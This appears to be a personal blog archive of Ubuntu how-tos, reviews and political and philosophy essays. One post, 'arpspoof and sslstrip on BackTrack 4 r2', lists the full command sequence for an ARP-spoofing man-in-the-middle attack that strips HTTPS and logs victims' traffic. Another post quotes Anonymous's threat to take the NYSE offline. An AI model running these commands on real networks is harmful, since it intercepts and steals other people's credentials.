.rar compression and ePub reader

Are you having trouble opening .rar files on you Ubuntu distro?
Well, it's very easy to fix that in the next 30 seconds. Just type on the terminal:

sudo apt-get install unrar-free

Another good app I found recently was Calibre. I have just recently bought an eReader for my wife and after picking up a few books I wanted to find a way to read some of these books (ePub format books) on my laptop. In order to do that I am now using this nice little application called Calibre, which not only allows me to read books in eReader formats, but it also works as a manager for eReaders. Very handy if you are looking for something like that on Linux.

Buying the eReader was actually quite a process, which I may post about at a later date. I ended up buying the Kobo for a few good reasons:

1- It seems much more flexible in terms of format than the Kindle
2- Cheaper than the Sony eReader
3- Has a much bigger library of books for Canadian customers
4- It's a Canadian product and I like to support our industry where I can

Know thyself (pt. 1) - responsibility over emotions

I think I've been asking myself some fundamental questions about being for almost ten years. I'm not terribly sure what got me started, but I think it was part of the whole teen phase. Well, for me it was mostly at the end of that part of my life, when I was 18 years old, or close to it. That is when it all started, but I think that was an important set of questions that have yielded some answers, but created another larger set of questions. A lot of these questions have been sitting inside my head for many years, but they were there out of pure curiosity and the pursuit of further understanding myself.

Last year was a bit of a rough one for me, with a lot of changes happening in my life and a lot of things I had to deal with. I firmly believe that one's true identity isn't fully explored until he/she is forced to do that, which was certainly the case for me then. My personal struggles forced me to think about how I felt about my life, about my religion and about what I was about. That's when I started to learn more about an area of philosophy that has always fascinated me, existentialism. My two favorite existentialist philosophers are Sartre and Kierkegaard.

Just today I was reading about some of Sartre's views on emotions and responsibility. Most people, see emotions as types of reactions to conditions in the environment. They see it somewhat similarly to feelings (these words are even interchangeable sometimes), where something happens and that leads the person to feel a certain way. The way these words work in English it almost leads one to believe that, after all you FEEL an emotion.

Sartre, on the other hand, has a very different view on emotions. He says emotions are always about something. You don't just love, you love someone. You don't just hate, you hate someone, or something. So all emotion is intentional, because they are always about something (unless you are talking about some psychiatric situation, but this is philosophy not psychology). He uses examples to show how emotions are intentional responses to certain conditions. One particular example that comes from Aesop, a story about a fox and grapes, which gives origin to the common notion of "sour grapes". In short, the fox sees a set of delicious grapes, and craves them, but he can't reach them. This causes the fox to turn away and say, "they are probably sour anyway". Sartre calls that type of scenario as a "magical" transformation of the world. Which is a way to indicate that what changes about the grapes has nothing to do with the chemistry of the fruit, but everything to do with the attitude of the fox and how it see the grapes. This idea ties in with the concepts of phenomenology and ontology, which is seen throughout the works of Sartre and Heidegger. This is the idea that the way in which we experience things, and the way the world is, are firmly tied together. Often, what we do is this kind of magical transformation, where instead of actually doing something to change the world, we transform it in our minds. In this story, one can see that the fox refuses to see itself as a failure, instead the fox sees itself as wise fox, not willing to spend energy on a wasted project.

This idea of escaping from a difficulty, is the heart of Sartre's ideas. He says emotions are essentially a mode of escape behaviour. We have our emotions, not because they are "caused in us", but rather because they are a way to deal with the world in which we come to see ourselves as better off than we would otherwise. He says emotions act as choices, ways to transform our world and to make difficulties disappear.

Easiest printer install EVER !!! & update on my media manager choice

I had been using my printer only on Windows before, just because it was already installed and I figured why bother. Well today I booted my machine on Linux and by mistake I had left my printer on last time I used it. So once I logged into Ubuntu something prompted asking me for root rights and I read that it was my HP printer asking to be installed. Well, I figured there would be no harm in typing my password so I did. The process took a solid 3 minutes and I just had to type a "proceed" type command when prompted and voilà. My HP LaserJet 1020 printer was ready to print, I did a print test and it worked. I have to say I'm very impressed with this aspect of my Ubuntu 11.10, that was by far the simplest printer installation I have ever seen.

On a different note, I have tried Rhythmbox Music Player as an alternative to my recent move to Banshee. My first impression is that Rhythmbox is a bit of a plain thing to look at, however, the functionality is a different story. This wonderfully light media manager has been working wonders for me. I now have all my podcasts being subscribed properly on it, and transferring them to my ipod is no longer an issue. Not only that, but my podcasts are now going to their appropriate menus, just like I had on my iTunes. The syncing is very similar to Banshee, where you kind of drag and drop. I think I still prefer iTunes in that respect, but being able to manage my music on Linux and do virtually everything just as well without relying on proprietary iTunes is great. Therefore, I would certainly recommend Rhythmbox to anyone interested in the switch.

Finally my new PC specs

So as I've been saying, I got myself a new machine, or at least most of my machine is new.

MOBO: ASUS P8Z68-V LX Z68 L1155 GLAN DDR3
CPU: Intel Core i5-2500K 3.3GHz 8MB L1155
RAM: DDR3 8GB (2x 4GB) KVR1333D3N9K2
HDD: SATA II Seagate 1Tb 7200RPM 32M
Case: ATX Coolmaster 922HAF
PSU: Antec Truepower 650W
OS: Windows 7 Home Premium :(

The whole thing cost me C$950 which is a pretty competitive price. I got it at Sonnam Computer at College and Spadina in Toronto. I looked for these part at various shops around that area and online so I know the price isn't too bad. I picked this particular shop because of the service, the sales people were quite helpful and willing to give me a discount as well. I do however have a complaint. While picking my part I specifically asked them to not install any OS on the machine. I wanted them to put some of the parts together, but since I was going to dual boot it, I preferred to take it home and partition the HDD myself and start from there. Well even though I asked them that in more than one occasion they still installed my OS and did the authentication online which was very annoying. Overall though, the experience wasn't bad.

Sonnam Computer (457 Spadina Ave.)

Banshee and MediaTomb rant

My PC just recently blew up and I was forced to shell out some money to buy myself a new machine. Anyway, I am taking this unfortunate event to push my reliance on Windows aside as much as possible, what better opportunity to just not install the programs I am used to in order to try cross-plataform applications on my new Linux install.

On my new machine I installed Ubuntu 11.11 Oneiric Ocelot, which from reviews seemed very good and made users happier than the Natty Narwhal release. Well firstly I have to say the aesthetic side of the new release is a nice change. The new menu is certainly better looking, the login screen is OK but I can't say I like it more than what it was in 11.04.

Well there have been 2 things so far that I've been trying to accomplish on Ubuntu that haven't been the most pleasant experiences. First I have been attempting to use Banshee to replace the bulky iTunes that I have been using for many years. I had moved to iTunes initially for the same reason most people did, which was for using our iPods more efficiently. I had a hard time going from something lightweight like Winamp to iTunes. Banshee actually has some very nice features, such as the way it is integrated to the OS which is very nice, the memory usage is another advantage and the fact that it seems to pick up album covers very efficiently is another reason for liking it.

Unfortunately so far my experience hasn't been 100% positive. One of my main needs for a media manager is for managing my iPod. I use my iPod very heavily during the week. I like music and especially enjoy podcasts and audiobooks. iTunes manual sync interface has done all this amazingly well for the last 4 years or so, but I still wanted to move away from it if there was a better open source option available. I way rather not support Apple and other proprietary applications if I have the option.

My first issue with Banshee has been the aparent inability to upload my podcasts to my iPod as podcasts. By that I mean that when you load a podcast to my iPod it doesn't show up under my "podcasts" section. I can get used to not being able to synch my files with a checkbox, but not having a "podcasts" folder is a bit annoying. Perhaps this is a problem with the hardware so that users can't get all the functionality without iTunes, idk. My next problem is that now that I have moved podcast files to my ipod it doesn't seem able to play it. I found them on the player but when I try to play it, it just stays at 0:00 and nothing comes out. I'm going to try a bit more and see if there are ways around these annoyances. If not I'll try a different open source option if it seems to do what I need.

Lastly, I have been trying to share media over my network to my PS3 through Linux. So far I've been using MediaTomb which seems kind of buggy most of the time. I can never tell if things are going to show up on my PS3 and often they show up and don't play. I can't claim that Windows Vista and XP were bug free at first, so I will keep trying with MediaTomb and if that fails I am sure there are other options out there.

I would love to use Windows solely for gaming and the occasional Excel spreadsheet functionality I don't get on LibreOffice. Unfortunately LibreCalc just won't cut it for my spreadsheet needs. I am trying to cut my ties to Windows wherever I can.

Wow, this post probably makes Linux sounds like a bad move. Don't get the wrong impression, these are just a few challenges I've had. I still love the two distros I've tested so far.

Just to even out my post, let me say that windows 7 gave me a blue screen on my 3rd boot after I got my new system. Not only that but I'm not the biggest fan of the Windows 7 task bar. I absolutely hate that I can't easily pin files directly in there. Either it takes 2 extra clicks to achieve the same action now or you have to trick windows with a pseudo-application. Considering the changes are supposed to be an improvement on the interface I would call that a big failure. Not only that but I almost feel like there is less room for customization as well. I still haven't found my loved "desktop" button either on my task-bar which is probably the one I use the most in previous versions of Windows. Sure, I'm sure you can still do it, and I'm sure there is another shortcut available, but I don't want to waste my time learning about an OS I already mastered a decade ago.

I then went to try to disable auto-play on Win7 for when you insert media like a USB drive. Well, not only its extremely difficult to figure out how to do it, but I ended up having to download some random script to do it for me. Microsoft is definitely disappointing me big time with this new version of Windows.

Lastly, what's up with not being able to make my desktop icons smaller. The small size is not small at all. I'm not blind or old, so don't give me that crap.



 edit 1: I have found a way around the missing podcast directory on my ipod, which apparently shows up as a playlist called "podcasts", so that's not too bad. I have also found that some of my podcasts are working on my ipod but not all of them yet. I'm still having a lot of problems with Banshee, it seems buggy and it crashes a lot. I have yet to see any other software on my ubuntu that keeps crashing and Banshee seems to crash about every other time I use. I have done some reading, and found out this may be due to my large library size, the application is still a bit buggy for the moment.
 edit 2: My frustrations with Banshee are leading me to try some other options, my next one will be Rhythmbox which I have heard good things about, we'll see how it does. If this one is also another application that doesn't work for me I will attempt Songbird, which does also look very interesting from what I've seen.

Sharing media on Ubuntu (to PS3 and probably Wii and XBox as well)

Last week my PC blew up, this ended up a big excuse for me to attempt to change most of my computing to Linux. Anyone that has switched to Linux knows that it needs to be a gradual process, unfortunately I had to spend C$100 on a Windows 7 license because I still need it. I'm sure I'm not the only one, but paying for my OS actually hurts me. Anyway, today I want to share some of my videos and music on my network, the idea is to play my files on my PS3 and I'm wondering how to do that outside of Windows (which was not all that great via Windows Vista anyway).

I started by downloading an app from the repositories called Mediatomb which you can also get via the terminal by typing:

$ sudo apt-get install mediatomb

First thing you have to do is enable sharing to your system, which in my case is a PS3. This is done via the command:

$ sudo gedit ~/.mediatomb/config.xml

There you will want to find a line with:

<protocolInfo extend="no"/>

...now change that "no" to a "yes"... now look for a line saying

<mappings> <extension-mimetype ignore-unknown="no">

and add these two lines into the section below it, there will be a suggestion to just uncomment it but you can just add them:

<map from="avi" to="video/x-divx"/>

<map from="divx" to="video/x-divx"/>

Then you actually need to run it from the terminal by typing:

$ sudo mediatomb

This should give you an ip address with a port number (like http://192.168.1.101:49155/), so copy this and access it through your browser. Now you can navigate through your files and folders (filessystem), and anything you would like to share with your PS3, simply click on the + sign. Once you have done that to all the files you want to share you may go back to the "database" option and see what you are sharing over you LAN.

For some reason I get 2 options for Mediatomb on my PS3, and the second one tends to have a "Directories" folder that I can access and use my media. I hope this helps.

Occupy Toronto

I think there is still a lot of confusion to what the Occupy Toronto protests are about, so here is a brief overview of what people are trying to get accross:

        OccupyTO is a movement that will start on October 15th, 2011 that intends to show our solidarity with the Occupy Wall St. movement and stand in unity with the rest of the world to seek and work towards drastic changes to economic systems that are destroying our economy, social fiber, and environment. We are, through entirely non-violent means, sending a message to the financial sector worldwide that banks exist to serve us, not the other way around, that the practices of speculation and fractional reserve lending have created a massive inequality and are no longer valid systems.
        Current monetary policies, whether they are enacted under the idea of globalization and privatization, or some other guise, are unacceptably hurting the people that have propped them up, the very people they were created to help. Our target is to change these systems to help the 99% of the population, instead of just the elite 1% that they currently benefit. Everyone is encouraged to join the movement, this movement affects us all.
       We are the 99%. You are the 99%. And THEY don’t want you to know how powerful WE are.

TeamViewer - remote access application

Listening to a podcast I enjoy, I discovered a great little program for accessing computers remotely over the interwebs. This is TeamViewer I'm talking about. After installing a copy on your machine (client) and on the machine you are trying to access (server), it allows you to access one computer from the other without having to bother with port forwarding or anything else like that. It is still fairly safe, as you have the option of giving out a randomly generated numbers every time you want to allow access to your computer. There is an option of a permanent number as well, however that does come with a bit less security of course. If you go that route, just make sure to make a complex password for it.

You may download this gem here: http://www.teamviewer.com/en/download/index.aspx

It worked well with my Windows Vista and Ubuntu 11.04, but it is supposed to work on Macs are well.

Vim - what's so special about this text editor?

I've heard about Vi and Vim a few hundred times since I've started my exploration of the Linux world. Up until today, I thought the only real reason people like using Vim is because of the ease of use when programming and features that apparently allow technical text editing at a different level. At this point I can't say I will ever understand what is so special about Vim, but I definitely found a use for it.

I have been looking for ways to safely store my passwords electronically. I have moved away from the basic text file with all the info for a while, but I do miss having that kind of accessibility. Well, I found out Vim may offer an interesting option for me, which is to read and edit encrypted text files. So I may be able to go back to my simple text password storage, and still be safe. If you are interested in this topic here is some more info for you:

Downloading Vim is pretty simple, especially if you are using ubuntu (or any other ?buntu). Vim is easily found in the Ubuntu Software Centre, you can get it through Synaptic Package Manager as well. As I'm not 100% familiar with Vim yet, I can't explain what the add-ons do yet. Getting Vim via the terminal is also pretty easy, and that's how I got it for my laptop:

$ sudo apt-get install vim

This however will only get you the terminal version of Vim, which is a bit tricky to get started with. There are some useful tutorials out there for anyone interested in how to work with Vim on a terminal. It certainly seems full featured, but the learning curve is there for new users. Alternatively there is also a GNOME GUI version of Vim that may interest you more (this is called gvim in Ubuntu). To install such application you may use the terminal by typing:

$ sudo apt-get install vim-gnome

The  interesting use I have been talking about for Vim, is the ability to encrypt files using Vim very easily. Just to get you started on how to work with Vim, you can use this URL to help you getting a grasp of the basics.

Once you know how to create, open and save a file, as well as how to insert text you can use the following command in the terminal to create an encrypted file, which will require a password to be opened. Very handy! If this file does end up in the wrong hands somehow, it can be opened with any text editor, but it will simply look like gibberish.

$ vim -x filename.txt

Once you create your file you will be prompted for a password, just make sure you don't forget this password of course. I'm not sure how you go about creating this encrypted file using the GUI version of Vim (gvim), however once you create this file using the terminal version of Vim, you can open and edit the file via the GUI Vim.

Anonymous Message - OIWS

After nearly one week of protesting in Wall Street and other areas of the US, it seems that the media is finally unable to ignore the slowly growing movement happening right in their own backyards. The Occupy Wall Street protests have been happening, and including quite a bit of police abusing their power and in some cases even brutality to silence the emerging movement, which seeks to awake America to corporate greed and social injustice that has occurred for a while now, causing the 2008 recession and everything that followed. Personally I've been very frustrated with the lack of repercussion to the disgusting practices of financial institutions, and the seeming nonexistent response from Americans to white collar crimes happening right in front of their eyes. Well, it seems that we may finally see something happen, as broadcasting stations are beginning to show what has been happening and celebrities like Michael Moore have started to get involved. I'm not a big fan of Michael Moore, but I am happy to see support from people of influence. Just now I have also discovered that the hacking group ANONYMOUS will also be launching an attack on Wall Street on Oct 10th, here is their message to the people:

This should be interesting.

They have also sent the following message to the media:

Greetings, Institutions of the Media.
We are Anonymous.
The events transpiring within Wall Street have caught our eye.

It seems that the government and Federal agencies enjoy enforcing the law a little bit too much. They instate unjust laws as mindless automatons, blindly following orders with soulless precision.
We witness the Government enforcing the laws that punish the 99% while allowing the 1% to escape justice, unharmed, for their crimes against the people.
We have observed this same Government failing to enforce even the minimal legal restraints of Wall Street's abuses. This Government who has willingly ignored the greed at Wall Street has even bailed out the perpetrators that have caused our crisis.
We will not stand by and watch the system take over our way of life.
We the people shall stand against the government's inaction.
We the people will not be witnesses to your corruption and ill gotten profits.
We will not labor for your leisure.
We will not assist you in any way.

This is why we choose to declare our war against the New York Stock Exchange. We can no longer stay silent as the population is being exploited and forced to make sacrifices in the name of profit.
We will show the world that we are true to our word. On October 10th, NYSE shall be erased from the Internet. On October 10th, expect a day that will never, ever, be forgotten.

Vox Populi, Vox Anon.
The Voice of The People is The Voice of Anonymous.
We are Legion. We are the 99%.
We do not forgive. We do not forget.
Wall Street: Expect us.

Canadians for net neutrality

Here is a message from a group fighting for something I feel quite strongly about, Net Neutrality. If you are not sure what net neutrality is, here is a definition:

"Network neutrality is a principle that advocates no restrictions by Internet service providers or governments on consumers' access to networks that participate in the internet. Specifically, network neutrality would prevent restrictions on content, sites, platforms, types of equipment that may be attached, and modes of communication."

They have a facebook group as well where you can get more information, but here is a message from the OpenMedia.ca team:

Big Telecom has decided to fight their customers instead of working to make the Internet more open and affordable, but together we can turn Canada from a digital laggard to a leader in connectivity and innovation.


Big phone and cable companies are losing control but they are not giving up without a fight—in fact they’re doubling down on greed. These companies are raising prices across the board while they still can, and trying to cozy up to policymakers: Bell has just appointed former Industry Minister Jim Prentice as a board member, and Telus has done the same with former Conservative MP Stockwell Day.


The Internet impacts every aspect of our lives, and we all deserve a say in its future. Take a moment to provide OpenMedia.ca with key input here: http://openmedia.ca/engage


Thanks to you, our petitions saw viral growth this year, and we gained national media coverage and caught the the attention of the Prime Minister’s office. You forced a CRTC review on Internet metering, and OpenMedia.ca testified at the subsequent public hearing this summer. The stakes were high and the pressure was on at the CRTC’s landmark hearing, but we held our own against the Big Telecom lobby. By the end of the two-week proceeding, nearly everyone was shunning usage-based pricing schemes, but we’re not done yet. Now, more than ever, we have to keep up the pressure so that the decision makers know Canadians want an open, affordable Internet.


We’ve gained momentum and Ottawa is starting to listen. Let’s keep up the charge.


Here are a few easy ways you can help right now:


1. If you haven’t already, fill out our pro-Internet survey: http://openmedia.ca/engage


2. Make a donation (http://openmedia.ca/donate, or help us continue to bring your voice to Ottawa by becoming a monthly donor (http://openmedia.ca/sustainer).


Your support has allowed us to get this far. Thank you so much for your ongoing efforts to champion the open and affordable Internet.


Onward,


Lindsey, Steve, Reilly, and the OpenMedia.ca Team

Germany and their inflation phobia

We are and have been in the middle of a period of economic uncertainty. A lot of experts have warned that a double dip recession is a possibility and the ones that don't believe that, still agree that economic recovery in the industrialized world has been very slow since 2008.

The US was the main focus of the recession that started in 2008, despite the involvement of many other nations in its development. While the US is still a very similar country in terms of economic policies to what it was in 2008, this time around economists have indicated that economic instability for the next recession is likely to come from the EU. Countries like Greece, Spain and Portugal are some of the main problem nations, but there are a lot of other trouble makers as well. However, not all countries in the EU are in trouble, which may be the only reason their economy hasn't collapsed yet. Germany has had a strong economy for many decades, and despite the economic events in recent years, the nation still boasts of fiscal responsibility and economy stability.

Recently, as expected, a lot of the troubled nations have been approaching Germany for loans and other forms of help. Not only that but they have also been asking for help from the European Central Bank. One interesting bit of information about this central bank is the conditions in which it was created. Back when European nations decided a centralized bank would be a good idea, Germans were very hesitant, so in order to go ahead with the creation of the ECB, a clause in the contract said that the ECB could not engage in quantitative easing. This was a main condition in order to keep Germans comfortable with this unification.

The European systemic instability that we have been seeing has led some countries to ask the ECB for help, even though the help they are asking for is prohibited. The other interesting aspect of this story is the reason why Germany is so reluctant to allowing the central bank to print money.

This goes back to the 1920's and it has everything to do with inflation. After WWI the german government was in a lot of debt, so they had to borrow a lot of money from the rest of the world and often that wasn't enough. This led the government to issue an order to their central bank to print as much money as they needed. This obviously led to a massive loss in value of the Deutsche Marks (German currency), which is another way to say high levels of inflation ensued. The following decade of high inflation is thought to have enabled the Nazi party to gain popular support. Social distress caused by hyperinflation in Germany was not very different from the social distress in Italy that allowed for the rise of Fascism in that country. So it isn't hard to understand why Germans are so hesitant to break these rules established during the institution of the ECB. This is aside from the obvious fact that printing money to pay debt seems like a shortsighted solution to anyone with half a brain.

xfce4 application finder for Ubuntu

I've been running Ubuntu on both my laptop and desktop, however I'm not using Unity on my laptop just to conserve some resources. One of my favorite features of Unity however is the lens to look for applications by name, for anyone not familiar, it is basically a "search engine" for your PC. As you type the name of the program or file you are looking for, a list starts to populate, and if I'm not mistaken, this list takes into account how frequently you use those apps. Anyway, it's pretty great, but my laptop is just using the old GNOME interface and some of my apps apparently don't show up on the regular menu, so I was wondering how to open them as a Linux noobie. I found a great little tool to search for apps inside your HD, this is called xfce4, and it shows up in your Applications > Accessories menu if you are running GNOME and have it installed. You can use this on KDE and Xfce as well, I don't believe this comes installed with any of the Ubuntu distros, but it's worth checking it out if you don't have Unity running.

To get this little app just type:

$ sudo apt-get update

$ sudo apt-get install xfce4-appfinder

Configuring conky on ubuntu

Hello, so on a previous post I mentioned conky, this great and light system analysis tool for Linux. I mentioned how to get the thing, but I said nothing about how to use it. It turns out conky is not as foolproof as gkrellm2 which I use on my laptop, and since I'm a complete Linux noobie I figured I could write something here about how to get conky going if you are a complete Linux virgin.

So as I mentioned on the other post, downloading it is easy, you can use synaptic or the terminal typing:

$ sudo apt-get install conky

Now once you do that, configuring the thing can be done using gedit. At this point I know what gedit is, but in case you don't, it is just a text editor for GNOME, equivalent to kate from KDE or vi, among others. I use kate on BackTrack but on Ubuntu I've been using gedit. Anyway, to get that going type:

$ gedit ~/.conkyrc

Just to make this noobie proof, ~ is usually used to refer to your /home directory, if you noticed when you open the terminal you see a ~ and that indicates you are on your /home, if you type something like cd /, this will take you to the root directory and you won't see that ~ any longer. Another neat little trick is that you can use cd ~ (change directory) to go to your /home. That means ~/ is leading you to a directory directly under your home, and the period right after the slash indicates this folder is a hidden folder. Neat little fact, unlike windows, in Linux a hidden folder is indicated by it's nomenclature, meaning anything with a period in front of the file name indicates a hidden file/folder.

So as you open this file, if you haven't done this before, your configuration will be blank. This is where you can configure conky to look and do whatever you want, since you probably don't know what you want I will post my configuration so you can just copy that for the time being and change it if you wish, this will be at the bottom of this post, you might need to expand it. Note that I'm a noobie too, I'm still trying to figure out how to get my network info to show up. I will post what my conky looks like when I open it up. So once you finish adding the code you can save the file and close gedit. Go back to the terminal and in order to open conky just type :

conky

... and voilà.

here is what my conky looks like... later I'll post a pic of my two Ubuntu desktops, just cause they looks so sexy (my wife hates when I call things sexy :)

Linux img editor (gimp) and how to change the unity laucher bar on ubuntu 11.04 (Natty Narwhall)... oh and conky

So I've finally installed Ubuntu on my main machine, and my slow transition to Linux has been coming along nicely. My first Linux install was the 11.04 (Natty) which was the first Ubuntu version to come with the unity shell interface. This has a lot of users kind of upset. Since I didn't really know much about the previous gnome interface I didn't find it too bad. The only problem I faced in my first install was the fact that unity was fairly resource intensive for my crappy laptop. Let me clarify this, it was more intense than the GNOME interface but it was still a major improvement from my Windows XP install in that same computer. After I discover I could easily change my laptop to the "classic interface" I decided to do that. This made my Ubuntu so much smoother on that computer that I am definitely happy to give up the interesting layout that comes with Unity. If you don't know how to do that, it's very easy... when you boot your Ubuntu and come to the login screen, select your user and you will notice a few things change in the bottom bar, and it should say "Ubuntu" there. Click on it and change it to the "Ubuntu Classic" option, that's all. If you need even more RAM it may even be better to pick the "no effects" option.

Anyhow, I have now installed Ubuntu on my desktop as well and on this one I will keep the unity interface, just cause it looks nice and I can afford the resources it will eat up. The only issue I have with it at this point is the fact that I think the bar is a bit too bulky, and I want a bigger looking workspace. So I just found out how to get around this issue.

First download and install the compizconfig-settings-manager
$ sudo apt-get install compizconfig-settings-manager

Then open the compizconfig-settings-manager by clicking on the Ubuntu button on the top left of your desktop and type:
compiz

At this point you should see the CompizConfig Settings Manager icon, click on that. A Screen similar to the system monitor will pop open. There will be some categories like General, Accessibility, Desktop and so forth (picture below). From there look for "Ubuntu Unity Plugin" which is under Desktop.

At this point look for the tab experimental and look for launcher icon size which should be set to 48 from default, I ended up picking 36 which made the icons to a nice size, but test it out and see what works for you.

Conky: I'm also trying out another system manager program called Conky. It's similar to the other one I've posted before but may be a bit more customizable and more lightweight, I'll try it out and let you guys know how it is. Here is a link to it and the command to get it from the terminal:

http://conky.sourceforge.net/documentation.html
$ sudo apt-get install conky

GIMP: On a completely different topic, I just wanted to mention GIMP Image Editor. It is a image editor like Adobe Photoshop. The beauty is that this is an open source project and it is cross platform, so I can easily use it on my windows and my linux without any hassle. To get this gem you can either use your Synaptic Package Manager and look for gimp or you can pick it up through the terminal (Ctrl + Alt + t) by typing:

These two just update your repo lists (not a bad idea to do that every now and then)

$ sudo apt-get update

$ sudo apt-get upgrade

Then to install GIMP

$ sudo apt-get install gimp

In general I do like using Synaptic cause I'm a Linux noobie, but I am trying to get into terminal use as much as I can. For some more brushes and plugins if you want you can also type:

$ sudo apt-get install gimp-data-extras

$ sudo apt-get install gimp-plugin-registy

Just as an extra here is a nice link with some suggestions for basic applications for fresh ubuntu installs, worth taking a look if you want more stuff on your linux. Also while writing this I've been listening to this great guy playing some music on youtube, his name is Viktor Cepeda. He does an awesome song for minecraft too, check it out.

Delving into Linux - wget, metasploit (Ubuntu) and searching for files

I've been spending a significant amount of time learning more about Ubuntu lately and I have to say, Linux impresses me more every day. I figured I should share some of my most recent finding with my readers.

wget - This command line tool comes on Ubuntu out of the box, and probably other linux distros as well I would imagine. It is great for downloading things, giving you the ability to resume unfinished downloads as well as being quite a persistent little app. Not only that, but it also allows you to download full websites through it, which I still haven't learned how to use. Anyway, here are some links to help you get started using this tool.

15 wget examples
Download an entire website (saved on your home folder by default)
http://www.go2linux.org/limit_rate_resume_downloads_wget

Metasploit - This is a popular pentesting framework that I first discovered in my BackTrack distro. I wanted to start learning how to use MSF on my Ubuntu distro and this guide helped me get it setup fairly easily

http://www.redspin.com/blog/2011/08/19/installing-metasploit-4-in-ubuntu-11-04/

Recoll - This great little tool allows you to search through your computer files. It is an open source application available for many different distros and it is not terribly bulky to run. I tried google desktop but that didn't quite work out for me.


http://www.lesbonscomptes.com/recoll/

Prey - stolen laptop story

I was just browsing around when I found this pretty neat story about someone that had their laptop stolen, and using a software called "prey", were able to recover it. Here is a link to it:

Lifehacker - How I Got My Stolen Laptop Back Within 24 Hours Using Prey

Tor project - protecting privacy while browsing

I just discovered a nice little tool to help protect me from the dangers of browsing. This tool is called Tor. This is a free software that helps you protect yourself from network surveillance and traffic analysis. If you care about anonymity online, this may be a good option. In order to get it running you can do some reading and get the app here:

Ubuntu instructions
Ubuntu installation
More Ubuntu network privacy info
Windows instructions

Tor also has a plugin for Firefox, and since I'm a Firefox user I will also need Torbutton

Just a note, Tor will help you with anonymity, but in no way it is perfect, there are still risks. Not only that but be aware that using Tor will probably slow down your internet, so use it as you see needed. If you have the firefox plugin you can enable and disable it whenever you want, which adds a bit of flexibility depending on your needs.

Ubuntu - I'm a convert

I've been contemplating the idea of trying Linux out for years. Back in high school I even bought a book on Red Hat and tried to install it to my second HDD. It worked, sort of, I got it running but couldn't figure out how to configure anything. That led me to some significant frustration and I eventually put away linux, thinking that was that. Well recently I've been fooling around with some NetSec stuff and I came by this very cool linux distro which I found out I could run off of a USB drive. I read a bit more and found out that installing this distro (BackTrack) on a USB stick was actually pretty easy. So I did that and just out of my adventures into NetSec topics I was exposed to some Linux. I felt that it wasn't that difficult to figure things out in BT, and I didn't mind the terminal stuff since anything I didn't know I could just google. One thing led to another and a few months later I started to read more about this really cool distro called Ubuntu which apparently seemed to be very popular. I figured the popularity of the distro is probably a sign that it is actually accessible to linux noobies, and I was right. Last Friday I decided to partition my laptop so that I could try out ubuntu on it.

It has been almost a week later and I have to say I love it. Ubuntu is very stable, pretty lean, which makes my laptop much more usable now compared to my winXP boot. I absolutely love repo and how easy it is to navigate it. For those that don't know what repo is, it is basically like the iTunes app store. It is a compilation of servers where people that develop open source (FREE) software posts all their goodies, so you can just browse thousands of applications and install whatever you need, all for free. It's quite amazing and they have a wonderful selection of programs that really makes windows for me just half necessary. I think because I am into gaming I will still use windows for that. Linux has Wine which allows you to play win games, but I don't mind running a windows machine. Also, MS Office still a must for me, open office just doesn't cut it. Repo works off of the terminal as well, and installing software on linux is even easier than it is on Windows. I have to say, for anyone still intimidated to get into using this amazing free resource, don't be... There are quite a few Linux distros available that will make your transition super easy. I've been reading a lot and listening to some great podcasts about linux, so if anyone has questions about Linux and whether or not you should try it out, please msg me.

How to properly defrag my drives with Windows Vista (╯°□°）╯︵ ┻━┻ ರ_ರ

I might sounds like a noob here, but I didn't know how to do a proper defragmentation of my disks so that I can actually see what's going on. As most of you Vista users out there know, this version of Windows doesn't have a nice visual defragger like good old windows 2000 or even XP had, and if you are like me you like to see the progress and have a sense of what's happening when you are defragging your machine. Well in order to do that on Vista you have to open the command prompt as administrator (by right clicking on the icon and "running it as administrator").

Once it's open the command to defrag is:

This does a full defrag of your hard drive
defrag c: -w

you may add "-v" to the command for a verbose option where you get more info on what's happening.

The other nifty command is 

defrag c: -a

which does an analysis of the drive to tell you how much fragmentation there is in the first place.

arpspoof and sslstrip on BackTrack 4 r2

Hello, I'm aware this post won't be very relevant to most people reading my blog, but I always feel that posting something that isn't necessarily useful to my readers may still prove useful to random people searching for information online. Therefore, I'd suggest most people that read my blog to just ignore any posts with the tag "backtrack" as this is pretty much only useful to someone who knows what backtrack is and how to use it. Also I would like to say to anyone that does read it, that this information is here for learning purposes and obviously I hope no one uses it with ill intentions.

So here we go, this is an easy method to do arpspoofing using sslstrip on Backtrack 4 r2 which is what I use.

-new console-

echo "1" > /proc/sys/net/ipv4/ip_forward

[enter]

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

[enter]

arpspoof -i eth0 -t (target IP) (router IP)

[enter]

-new console-

cd /usr/bin/ && ./sslstrip -l 8080 -w /root/sslstrip.log

[enter]

-new console-

cat /root/sslstrip.log

[enter] to view results

 enjoy, thanks to AzraelSepultura from BT4 forum for this sslstrip method, after a few different ones, this worked for me.

Invisible hand or imaginary hand?

This is probably one of the funniest things I've heard this week. Watching Bill Maher, he asked Bill O' Riley why he thought the rich were worth roughly 27% of the wealth in the US, where in the beginning of the 80's they only owned about 9%. O'Riley's response was that this was an effect from our technological advancements.

But anyway, I have been learning and reading a bit of "Capitalism and Freedom", which is a book by Milton Friedman. Seemed like an interesting book and let me say first that I am a true supporter of capitalism and all it has done for humanity. Having said that, I have to say I believe there is a fundamental difference between capitalism and free market. In some ways I feel Friedman uses the word capitalism when he is really referring to free market. So that was a flag right away that I wouldn't really agree with a lot of his ideas.

Friedman claims that humanity's biggest achievements were a result of individual genius and not as a result of governmental directives. He uses examples such as Newton, Shakespeare, Bohr, Edison and Ford. While those are examples of what he is trying to argue, I would mention the involvements of governments in the development of more recent achievements such as the understanding of nuclear physics, space exploration and the internet as being some of the most important achievements of the 20th century, all only possible due to governmental support. I know most of these examples are recent, but I would argue the progress in politics and the improvement in the way nations are runned are also part of the reason for that. Putting all that aside, I would also like to bring up that the quality of life should be seen as important as well, and that technological progress should not be used as the sole way to measure human achievements.

"Free market, not government, ensures the protection of individual rights and standards of quality and delivers extraordinary prosperity to those who seek it." I don't even know where to start on this statement. I think I may instead just mention, Sweat shops and social alienation that are clear consequence of greedy corporations doing anything possible to increase profits. These two examples illustrate how free market is able to exploit social and economical disparities between countries, lacking ethics and taking away work that could actually benefit the people of their countries of origin by providing more reasonable wages at the cost of increased profits. This fits a concept I always fall back to, that nothing comes from nothing. Increased profits come from the exploitation of less fortunate people to benefit those who don't need it.

